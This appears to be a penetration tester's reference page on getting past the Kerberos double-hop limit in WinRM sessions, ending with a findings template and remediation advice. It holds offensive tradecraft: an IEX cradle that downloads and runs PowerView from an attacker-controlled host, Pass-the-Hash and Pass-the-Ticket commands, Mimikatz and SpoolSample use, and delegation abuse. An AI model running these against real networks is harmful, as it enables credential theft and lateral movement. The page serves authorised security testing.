🛡️ Methodology Checklist

  • Identify double-hop problem: commands fail on remote host when using WinRM/PSRemoting
  • Have creds/hash/ticket? Skip the hop — run AD tools from Linux (nxc / Impacket -k) straight at the DC
  • Solution 1: PSCredential in remote session (Invoke-Command with -Credential)
  • Solution 2: Register-PSSessionConfiguration to create custom config
  • Solution 3: Unconstrained delegation host — catch TGT via SpoolSample/Coerce
  • Solution 4: OverPass-the-Hash from Mimikatz to get usable TGT
  • Document which technique resolved the double-hop

🎯 Operational Context

Use when: You have a WinRM/PSRemoting session and need to authenticate to a third host — direct creds don’t forward through the hop. Think Dumber First: Classic double hop: WinRM to Host A → try to access Host B → Access Denied. Fix options: CredSSP delegation (risky), constrained delegation abuse, or Enter-PSSession with -Credential and -Authentication CredSSP (if CredSSP enabled). Skip when: You have a Meterpreter session — meterpreter handles pivoting differently via autoroute/portfwd.


⚡ Tactical Cheatsheet

CommandTactical Outcome
$SecPass = ConvertTo-SecureString '[PASS]' -AsPlainText -ForceBuild secure string inside remote session
$Cred = New-Object System.Management.Automation.PSCredential('[DOMAIN]\[USER]', $SecPass)Build PSCredential object
get-domainuser -spn -credential $Cred | select samaccountnameExecute PowerView with explicit credential (bypasses double hop)
Register-PSSessionConfiguration -Name [SESSION_NAME] -RunAsCredential [DOMAIN]\[USER]Bind credentials to a named WinRM session (requires local admin + WinRM restart)
Restart-Service WinRMApply PSSessionConfiguration change
Enter-PSSession -ComputerName [HOSTNAME] -Credential [DOMAIN]\[USER] -ConfigurationName [SESSION_NAME]Connect using the credentialed session config
klistCheck cached Kerberos tickets — diagnose missing TGT

🔬 Deep Dive & Workflow

Tool Setup

PowerView — fetch + host it on the attacker first:

wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1
python3 -m http.server 8000   # run from the dir holding PowerView.ps1

Then load it into the remote session. The in-memory IEX cradle pulls the script straight from your attacker host, which sidesteps the double-hop problem for loading the script itself (the credential-delegation issue this page solves is separate):

IEX (New-Object Net.WebClient).DownloadString('http://[ATTACKER_IP]:8000/PowerView.ps1')

Mimikatz — upload mimikatz.exe and run elevated. Transfer via File_Transfer_Windows. Full setup for every AD tool: AD_Tools_Reference.

The Problem

When you authenticate to a host via WinRM/PSRemoting (Kerberos), your TGT and NTLM hash are not cached in that session’s memory. Attempting to access a second resource from that shell:

Attack Host → (WinRM/Kerberos) → DEV01 → (attempts) → DC01

DEV01 has no stored credentials to prove your identity to DC01. Result: Access Denied or “operations error” on the second hop.

Exception: If the intermediate host has Unconstrained Delegation enabled, the TGT is cached natively and the double hop succeeds without workarounds.

Diagnosis: Run klist from inside the session. If you see a ticket for the HTTP service but no krbtgt ticket, your TGT is missing.

Escape Hatch — Run From Linux (no hop, no problem)

The double-hop only exists because you’re chaining through a Windows WinRM session. If you already hold the credential material (password, NT hash, or a ticket), don’t hop — run the AD tooling straight from Kali against the DC. Each tool authenticates directly, so there’s no second hop to forward.

# Password / hash — query the DC directly, no intermediate host
nxc ldap [DC] -u [USER] -p '[PASS]'                          # or  -H [NTHASH]
impacket-GetUserSPNs -dc-ip [DC] [DOMAIN]/[USER]:'[PASS]' -request
bloodyAD --host [DC] -d [DOMAIN] -u [USER] -p '[PASS]' get writable
 
# Ticket (Pass-the-Ticket) — get a TGT, then -k everywhere
impacket-getTGT [DOMAIN]/[USER]:'[PASS]' -dc-ip [DC]         # → [USER].ccache
export KRB5CCNAME=[USER].ccache
nxc ldap [DC] -u [USER] -k                                   # Impacket tools: add  -k -no-pass

Reach for the Windows methods below only when you’re stuck on the Windows shell — you must act as the session’s identity and have no extractable cred/hash/ticket to replay from Linux. See Pass_the_Ticket_Linux.

Method 1: PSCredential Object (Works in evil-winrm)

Create a credential object inside the remote session and pass it explicitly to each command:

# Inside the evil-winrm / remote session:
$SecPass = ConvertTo-SecureString '[PASS]' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('[NETBIOS]\[USER]', $SecPass)
 
# Now use -Credential on every tool that needs to reach the DC
get-domainuser -spn -credential $Cred | select samaccountname
Get-DomainGroupMember -Identity "Domain Admins" -Recurse -credential $Cred

This works from evil-winrm and any non-interactive shell. Every PowerView/AD cmdlet that accepts -Credential can use this pattern.

Method 2: Register-PSSessionConfiguration (Windows-only)

From an elevated PowerShell terminal on the first hop machine (requires GUI or RDP access):

# Bind the target user's creds to a named session
Register-PSSessionConfiguration -Name DoubleHopSession -RunAsCredential [NETBIOS]\[USER]
 
# Restart WinRM to apply (will temporarily drop your current session)
Restart-Service WinRM
 
# Re-enter using the new config name — all requests now impersonate [USER] natively
Enter-PSSession -ComputerName DEV01 -Credential [NETBIOS]\[USER] -ConfigurationName DoubleHopSession

Limitations:

  • Cannot use this from evil-winrm — it requires a GUI popup to confirm credentials
  • Fails from PS installed on Linux (OS-level Kerberos handling issues)
  • -RunAsCredential requires an elevated (Administrator) terminal

Alternative Workarounds

If both methods fail:

  • CredSSP — delegates credentials all the way through (but weakens security; Kerberos constrained delegation is the proper fix)
  • Port forwarding — forward the DC’s LDAP port through the pivot host to your attack machine, then query locally
  • Inject into process — spawn a sacrificial process owned by the target user using runas /netonly, run tools from that context

🛠️ Troubleshooting & Edge Cases

ProblemCauseFix
CredSSP not enabled on jump hostDefault Windows config disables CredSSPEnable: Enable-WSManCredSSP -Role Server on jump host; Enable-WSManCredSSP -Role Client on attack box
Kerberos delegation not availableNo unconstrained delegation targetUse resource-based constrained delegation if you have GenericWrite on target computer object
PSSession creds not forwardingKerberos double hop limitationUse explicit creds in PSSession: New-PSSession -Credential (Get-Credential) -ComputerName [HOST2]
CredSSP session still deniedFirewall or WinRM not configured on targetVerify WinRM: Test-WSMan -ComputerName [HOST2] from jump host
Unconstrained delegation abuse failsTarget not in unconstrained delegation listCheck with BloodHound: MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name

📝 Reporting Trigger

Finding Title: Kerberos Double Hop Problem Bypassed via Delegation Misconfiguration Impact: Unconstrained or CredSSP-enabled delegation allows forwarding authentication credentials through multiple hops, enabling lateral movement to systems accessible only from an intermediate pivot without requiring additional credentials. Root Cause: Unconstrained Kerberos delegation enabled on intermediate hosts without business justification. CredSSP enabled to work around double-hop limitations without understanding the security implications. Recommendation: Replace unconstrained delegation with constrained or resource-based constrained delegation. Disable CredSSP where possible. Implement JIT/JEA (Just Enough Administration) for privileged remote access. Alert on unconstrained delegation computer accounts accessing sensitive systems.